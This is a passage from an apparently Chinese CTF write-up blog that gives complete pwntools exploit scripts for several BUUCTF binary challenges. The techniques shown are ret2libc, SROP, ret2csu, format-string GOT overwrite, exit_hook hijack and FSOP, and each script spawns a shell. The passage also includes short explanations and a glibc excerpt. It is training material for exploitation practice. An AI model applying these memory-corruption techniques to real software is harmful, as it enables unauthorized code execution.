class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span>*</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#io = remote(&#x27;node4.buuoj.cn&#x27;,25055)</span></span><br><span class="line">io = process(<span class="string">&#x27;ciscn_2019_c_1&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./ciscn_2019_c_1&#x27;</span>)</span><br><span class="line"></span><br><span class="line">encrypt = <span class="number">0x4009a0</span></span><br><span class="line">offset = <span class="number">0x50</span>+<span class="number">8</span></span><br><span class="line">puts_plt = elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_got = elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">pop_rdi = <span class="number">0x400c83</span></span><br><span class="line">ret = <span class="number">0x4006b9</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#\x00绕过加密，ret2libc得到shell</span></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;choice!\n&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;encrypted\n&#x27;</span>)</span><br><span class="line">payload = <span class="string">b&#x27;\x00&#x27;</span> + <span class="string">b&#x27;A&#x27;</span>*(offset-<span class="number">1</span>) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(encrypt)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recvuntil(<span class="string">&#x27;Ciphertext\n\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line">puts = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;puts ===&gt; &#x27;</span>+<span class="built_in">hex</span>(puts))</span><br><span class="line">libc = LibcSearcher(<span class="string">&#x27;puts&#x27;</span>, puts)</span><br><span class="line">libcbase = puts - libc.dump(<span class="string">&#x27;puts&#x27;</span>)</span><br><span class="line">sys = libcbase + libc.dump(<span class="string">&#x27;system&#x27;</span>)</span><br><span class="line">bin_sh = libcbase + libc.dump(<span class="string">&#x27;str_bin_sh&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;encrypted\n&#x27;</span>)</span><br><span class="line">payload = <span class="string">b&#x27;\x00&#x27;</span> + <span class="string">b&#x27;A&#x27;</span>*(offset-<span class="number">1</span>) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys)</span><br><span class="line">io.send(payload)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h3 id="0x02-ciscn-2019-s-3-ret2csu-SROP"><a href="#0x02-ciscn-2019-s-3-ret2csu-SROP" class="headerlink" title="0x02.ciscn_2019_s_3( ret2csu | SROP )"></a>0x02.ciscn_2019_s_3( ret2csu | SROP )</h3><p><code>checksec</code>看到只开启了 NX 和 partial relro</p><p><code>sys_read</code>超大溢出，<code>gadgets</code>里面有系统调用号15<code>rt_sigreturn</code>，对应系统调用，而且在后面还能看到59号系统调用<code>execve</code></p><p>因此就会有两种思路，一种是SROP，另一种是ret2csu</p><h4 id="思路一：SROP"><a href="#思路一：SROP" class="headerlink" title="思路一：SROP"></a>思路一：SROP</h4><p>看汇编可以发现其实vuln函数没有一般函数应该有的 <code>leave</code> 操作，因此覆盖0x10个字节就够了</p><p>具体过程是先利用write泄露出栈中的已有数据来定位栈地址，并在栈中写入<code>/bin/sh</code>，覆盖返回地址为vuln函数，第二次直接用pwntools自带的SigreturnFrame控制寄存器为要getshell的布局，然后rop先到<code>mov rax, 0f</code> , 再<code>syscall</code>，后面加上SigreturnFrame</p><p>exp为：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"></span><br><span class="line"><span class="comment">#io = remote(&quot;node4.buuoj.cn&quot;,26290)</span></span><br><span class="line">io = process(<span class="string">&#x27;./ciscn_s_3&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./ciscn_s_3&#x27;</span>)</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>, log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#attach(io)</span></span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line"></span><br><span class="line">vuln = <span class="number">0x4004ed</span></span><br><span class="line">payload1 = <span class="string">b&#x27;/bin/sh\x00&#x27;</span>*<span class="number">2</span> + p64(vuln)</span><br><span class="line">io.send(payload1)</span><br><span class="line"></span><br><span class="line">io.recv(<span class="number">0x20</span>)</span><br><span class="line">leak_stack = u64(io.recv(<span class="number">8</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;leak_stack ===&gt; &quot;</span>+<span class="built_in">hex</span>(leak_stack))</span><br><span class="line">bin_sh = leak_stack - <span class="number">0x148</span></span><br><span class="line"></span><br><span class="line">frame = SigreturnFrame()</span><br><span class="line">frame.rax = <span class="number">0x3b</span></span><br><span class="line">frame.rdi = bin_sh</span><br><span class="line">frame.rsi = <span class="number">0</span></span><br><span class="line">frame.rdx = <span class="number">0</span></span><br><span class="line">frame.rip = <span class="number">0x400517</span></span><br><span class="line"></span><br><span class="line">sigreturn = <span class="number">0x4004da</span></span><br><span class="line">syscall = <span class="number">0x400517</span></span><br><span class="line">payload2 = <span class="string">b&#x27;/bin/sh\x00&#x27;</span>*<span class="number">2</span> +p64(sigreturn) + p64(syscall) + <span class="built_in">bytes</span>(frame)</span><br><span class="line">io.send(payload2)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h4 id="思路二：ret2csu"><a href="#思路二：ret2csu" class="headerlink" title="思路二：ret2csu"></a>思路二：ret2csu</h4><p>利用<code>mov rax, 3b      ret</code>和<code>syscall</code>，再结合<code>__libc_csu_init</code>里面的gadgets进行rop</p><p>exp为：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="comment">#io = remote(&quot;node4.buuoj.cn&quot;,25834)</span></span><br><span class="line">io = process(<span class="string">&#x27;./ciscn_s_3&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./ciscn_s_3&#x27;</span>)</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>,arch=<span class="string">&#x27;amd64&#x27;</span>,log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line">offset = <span class="number">0x10</span></span><br><span class="line">csu_gadget1 = <span class="number">0x400596</span></span><br><span class="line">csu_gadget2 = <span class="number">0x400580</span></span><br><span class="line">vuln = <span class="number">0x4004ed</span></span><br><span class="line">syscall = <span class="number">0x400517</span></span><br><span class="line">execve = <span class="number">0x4004e2</span></span><br><span class="line">pop_rdi = <span class="number">0x4005a3</span></span><br><span class="line">ret = <span class="number">0x4003a9</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#attach(io)</span></span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu_payload</span>(<span class="params">rdi, rsi, rdx, r12, ret_addr</span>):</span><br><span class="line">    payload = <span class="string">b&#x27;/bin/sh\x00&#x27;</span> + p64(execve)</span><br><span class="line">    payload += p64(csu_gadget1)</span><br><span class="line">    payload += <span class="string">b&#x27;A&#x27;</span>*<span class="number">8</span>             <span class="comment">#add esp, 8</span></span><br><span class="line">    payload += p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(r12) + p64(rdx) + p64(rsi) + p64(rdi)  <span class="comment">#rdx rbp r12 r13 r14 r15</span></span><br><span class="line">    payload += p64(csu_gadget2)</span><br><span class="line">    payload += <span class="string">b&#x27;A&#x27;</span>*<span class="number">56</span></span><br><span class="line">    payload += p64(ret_addr)</span><br><span class="line">    <span class="keyword">return</span> payload</span><br><span class="line"></span><br><span class="line">payload1 = <span class="string">b&#x27;/bin/sh\x00&#x27;</span>*<span class="number">2</span> + p64(vuln)</span><br><span class="line">io.send(payload1)</span><br><span class="line">io.recv(<span class="number">0x20</span>)</span><br><span class="line">leak_stack = u64(io.recv(<span class="number">8</span>))</span><br><span class="line">bin_sh = leak_stack - <span class="number">0x148</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;bin_sh ===&gt; &quot;</span>+<span class="built_in">hex</span>(bin_sh))</span><br><span class="line"></span><br><span class="line">payload2 = csu_payload(bin_sh,<span class="number">0</span>,<span class="number">0</span>,bin_sh+<span class="number">8</span>,execve)</span><br><span class="line">io.send(payload2 + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(syscall))</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h3 id="0x03-BJDCTF-2nd-r2t4-got-hijack"><a href="#0x03-BJDCTF-2nd-r2t4-got-hijack" class="headerlink" title="0x03.[BJDCTF 2nd]r2t4( got hijack )"></a>0x03.[BJDCTF 2nd]r2t4( got hijack )</h3><p><code>checksec</code>看到开了NX和canary，partial relro</p><p>只有格式化字符串，那就是修改got表，printf后面要执行的函数就只有一个__stack_chk_fail函数，修改该函数got表为backdoor地址即可</p><p>exp为：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="comment">#io = remote(&#x27;node4.buuoj.cn&#x27;,26759)</span></span><br><span class="line">io = process(<span class="string">&#x27;./r2t4&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./r2t4&#x27;</span>)</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line">attach(io)</span><br><span class="line">pause()</span><br><span class="line">backdoor = <span class="number">0x400626</span></span><br><span class="line">offset = <span class="number">6</span></span><br><span class="line">payload = <span class="string">b&#x27;%6c%10$hhn%32c%11$hhn%26c%12$hhn&#x27;</span> + p64(<span class="number">0x601019</span>) + p64(<span class="number">0x601018</span>) + p64(<span class="number">0x60101a</span>)</span><br><span class="line">payload = payload.ljust(<span class="number">100</span>,<span class="string">b&#x27;A&#x27;</span>)</span><br><span class="line">io.send(payload)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h2 id="task03"><a href="#task03" class="headerlink" title="task03"></a>task03</h2><h3 id="0x01-ciscn-2019-n-7-exit-hook劫持-FSOP"><a href="#0x01-ciscn-2019-n-7-exit-hook劫持-FSOP" class="headerlink" title="0x01.ciscn_2019_n_7( exit_hook劫持  | FSOP)"></a>0x01.ciscn_2019_n_7( exit_hook劫持  | FSOP)</h3><h4 id="思路一：exit-hook劫持"><a href="#思路一：exit-hook劫持" class="headerlink" title="思路一：exit_hook劫持"></a>思路一：exit_hook劫持</h4><p><code>checksec</code>看到保护全开</p><p>看起来好像是个堆题，但是没有对于堆漏洞的利用</p><p>输入666可以泄露出libc地址</p><p>程序首先会分配0x18大小的内存，在所分配内存的前8个字节存储<code>string_length</code>，后0x10字节为<code>string</code>，但是最后8个字节会在edit时产生任意地址写漏洞，可以利用<code>one_gadget</code>，因为我们无法主动执行<code>malloc</code>和<code>free</code>函数，因此劫持<code>exit_hook</code></p><p>exp如下：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>,arch=<span class="string">&#x27;amd64&#x27;</span>,log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#exit_hook劫持</span></span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&#x27;node4.buuoj.cn&#x27;</span>,<span class="number">29322</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./ciscn_2019_n_7&#x27;)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./ciscn_2019_n_7&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.23.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">choose</span>(<span class="params">choice</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Your choice-&gt; \n&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(choice))</span><br><span class="line"></span><br><span class="line"><span class="comment">#attach(io)</span></span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line">choose(<span class="number">666</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;0x&#x27;</span>)</span><br><span class="line">puts = <span class="built_in">int</span>(io.recv(<span class="number">12</span>),<span class="number">16</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;puts ===&gt; &#x27;</span>+<span class="built_in">hex</span>(puts))</span><br><span class="line"></span><br><span class="line">libcbase = puts - libc.symbols[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line"></span><br><span class="line">one_gadget = libcbase + <span class="number">0xf1147</span></span><br><span class="line">exit_hook = libcbase + <span class="number">0x5f0040</span> + <span class="number">3848</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;exit_hook ===&gt; &#x27;</span>+<span class="built_in">hex</span>(exit_hook))</span><br><span class="line">log.success(<span class="string">&#x27;one_gadget ===&gt; &#x27;</span>+<span class="built_in">hex</span>(one_gadget))</span><br><span class="line"></span><br><span class="line">choose(<span class="number">1</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Length: \n&#x27;</span>)</span><br><span class="line">io.sendline(<span class="built_in">str</span>(<span class="number">48</span>))</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;name:\n&#x27;</span>)</span><br><span class="line">io.send(<span class="string">b&#x27;A&#x27;</span>*<span class="number">8</span>+p64(exit_hook))</span><br><span class="line"></span><br><span class="line">choose(<span class="number">2</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;name:\n&#x27;</span>)</span><br><span class="line">io.send(<span class="string">b&#x27;A&#x27;</span>*<span class="number">8</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;contents:\n&#x27;</span>)</span><br><span class="line">io.send(p64(one_gadget)*<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">io.sendline(<span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><h4 id="思路二：FSOP"><a href="#思路二：FSOP" class="headerlink" title="思路二：FSOP"></a>思路二：FSOP</h4><p>一个古老的技巧，只适用于libc-2.23及之前版本，libc-2.24下也可以使用，但需要使用<code>house of orange</code>（一种结合_IO_FILE的组合利用方式）</p><p>本题可以直接任意地址写，输入666泄露出libc基址后直接修改<code>io_stderr</code>结构体中的内容，然后正常退出即可（不要输入4退出，否则不会得到shell）</p><p>exp:</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io = process(<span class="string">&#x27;./ciscn_2019_n_7&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./ciscn_2019_n_7&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.23.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">choose</span>(<span class="params">choice</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Your choice-&gt; \n&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(choice))</span><br><span class="line"></span><br><span class="line">choose(<span class="number">666</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;0x&#x27;</span>)</span><br><span class="line">puts = <span class="built_in">int</span>(io.recv(<span class="number">12</span>),<span class="number">16</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;puts ===&gt; &#x27;</span>+<span class="built_in">hex</span>(puts))</span><br><span class="line"></span><br><span class="line">libcbase = puts - libc.symbols[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line">_IO_list_all = libcbase + libc.symbols[<span class="string">&#x27;_IO_list_all&#x27;</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;_IO_list_all ===&gt; &#x27;</span>+<span class="built_in">hex</span>(_IO_list_all))</span><br><span class="line">one_gadget = [<span class="number">0x45216</span>, <span class="number">0x4526a</span>, <span class="number">0xf02a4</span>, <span class="number">0xf1147</span>]</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Your choice-&gt; \n&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Input string Length: \n&#x27;</span>)</span><br><span class="line">io.sendline(<span class="built_in">str</span>(<span class="number">0x100</span>).encode())</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Author name:&#x27;</span>)</span><br><span class="line">io.send(<span class="string">b&#x27;Static&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#修改io_stderr</span></span><br><span class="line">io_stderr = _IO_list_all+<span class="number">0x20</span></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Your choice-&gt; \n&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;2&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;New Author name:\n&#x27;</span>)</span><br><span class="line">io.send(<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x8</span>+p64(io_stderr))</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;New contents:&#x27;</span>)</span><br><span class="line">fake_io = <span class="string">b&#x27;/bin/sh\x00&#x27;</span>+p64(<span class="number">0</span>)*<span class="number">4</span>+p64(libcbase+libc.symbols[<span class="string">&#x27;system&#x27;</span>])</span><br><span class="line">fake_io = fake_io.ljust(<span class="number">0xd8</span>,<span class="string">b&#x27;\x00&#x27;</span>)+p64(io_stderr+<span class="number">0x10</span>)</span><br><span class="line">io.send(fake_io)</span><br><span class="line"></span><br><span class="line">io.sendline(<span class="string">b&#x27;5&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><p>关于FSOP，在libc-2.23下由于对vtable没有任何检查，导致可以通过伪造而调用自己想要调用的函数，具体调用方式为<code>exit()</code>函数中的<code>_IO_flush_all_lockp ()</code>函数，其会刷新<code>_IO_list_all</code>链表中的所有文件流，并且会调用<code>_IO_OVERFLOW</code>函数指针，函数调用具体逻辑为：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span></span><br><span class="line">_IO_flush_all_lockp (<span class="type">int</span> do_lock)</span><br><span class="line">&#123;</span><br><span class="line">...</span><br><span class="line"> <span class="keyword">if</span> (((fp-&gt;_mode &lt;= <span class="number">0</span> &amp;&amp; fp-&gt;_IO_write_ptr &gt; fp-&gt;_IO_write_base)</span><br><span class="line"><span class="meta">#<span class="keyword">if</span> defined _LIBC || defined _GLIBCPP_USE_WCHAR_T</span></span><br><span class="line">   || (_IO_vtable_offset (fp) == <span class="number">0</span></span><br><span class="line">       &amp;&amp; fp-&gt;_mode &gt; <span class="number">0</span> &amp;&amp; (fp-&gt;_wide_data-&gt;_IO_write_ptr</span><br><span class="line">    &gt; fp-&gt;_wide_data-&gt;_IO_write_base))</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line">   )</span><br><span class="line">  &amp;&amp; _IO_OVERFLOW (fp, EOF) == EOF)</span><br><span class="line">result = EOF;</span><br><span class="line">...</span><br></pre></td></tr></table></figure></div><p>由于_IO_FILE结构体中的vtable指针可以被修改，因此可以指向任意我们伪造好的位置。修改好后，只需要满足<code>fp-&gt;mode &lt;= 0 &amp;&amp; fo-&gt;_IO_write_ptr &gt; fp-&gt;_IO_write_base</code>即可进行调用，且调试发现该函数参数为结构体的第一个元素值</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">*RAX  <span class="number">0x7f671d85e550</span> (_IO_2_1_stderr_+<span class="number">16</span>) ◂— <span class="number">0x0</span></span><br><span class="line">*RBX  <span class="number">0x7f671d85e540</span> (_IO_2_1_stderr_) ◂— <span class="string">&#x27;LookHere&#x27;</span></span><br><span class="line">*RCX  <span class="number">0x7f671d85ec30</span> ◂— <span class="number">0x0</span></span><br><span class="line">*RDX  <span class="number">0x0</span></span><br><span class="line">*RDI  <span class="number">0x7f671d85e540</span> (_IO_2_1_stderr_) ◂— <span class="string">&#x27;LookHere&#x27;</span></span><br><span class="line">*RSI  <span class="number">0xffffffff</span></span><br><span class="line">*R8   <span class="number">0x4</span></span><br><span class="line">*R9   <span class="number">0x0</span></span><br><span class="line">*R10  <span class="number">0x7fff63e6a548</span> —▸ <span class="number">0x7f671da899d8</span> (_rtld_global+<span class="number">2456</span>) —▸ <span class="number">0x7f671d863000</span> ◂— jg     <span class="number">0x7f671d863047</span></span><br><span class="line">*R11  <span class="number">0x3</span></span><br><span class="line">*R12  <span class="number">0x7f671da86700</span> ◂— <span class="number">0x7f671da86700</span></span><br><span class="line">*R13  <span class="number">0x0</span></span><br><span class="line"> R14  <span class="number">0x0</span></span><br><span class="line">*R15  <span class="number">0x2</span></span><br><span class="line">*RBP  <span class="number">0x0</span></span><br><span class="line">*RSP  <span class="number">0x7fff63e6a568</span> —▸ <span class="number">0x7f671d515196</span> ◂— cmp    eax, -<span class="number">1</span></span><br><span class="line">*RIP  <span class="number">0x7f671d4de390</span> (system) ◂— test   rdi, rdi</span><br></pre></td></tr></table></figure></div><h3 id="0x02-V-N2020-公开赛-warmup-orw"><a href="#0x02-V-N2020-公开赛-warmup-orw" class="headerlink" title="0x02.[V&amp;N2020 公开赛]warmup( orw )"></a>0x02.[V&amp;N2020 公开赛]warmup( orw )</h3><p><code>checksec</code>看到除了canary，其他都开了</p><p><code>seccomp-tools</code>看到禁用了<code>execve</code></p><p>程序的缓冲区恰好接上，直接写payload就行</p><p>在libc的bss段上写入<code>/bin/sh</code>和<code>flag</code>字符串，直接得到flag</p><p>exp为：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span 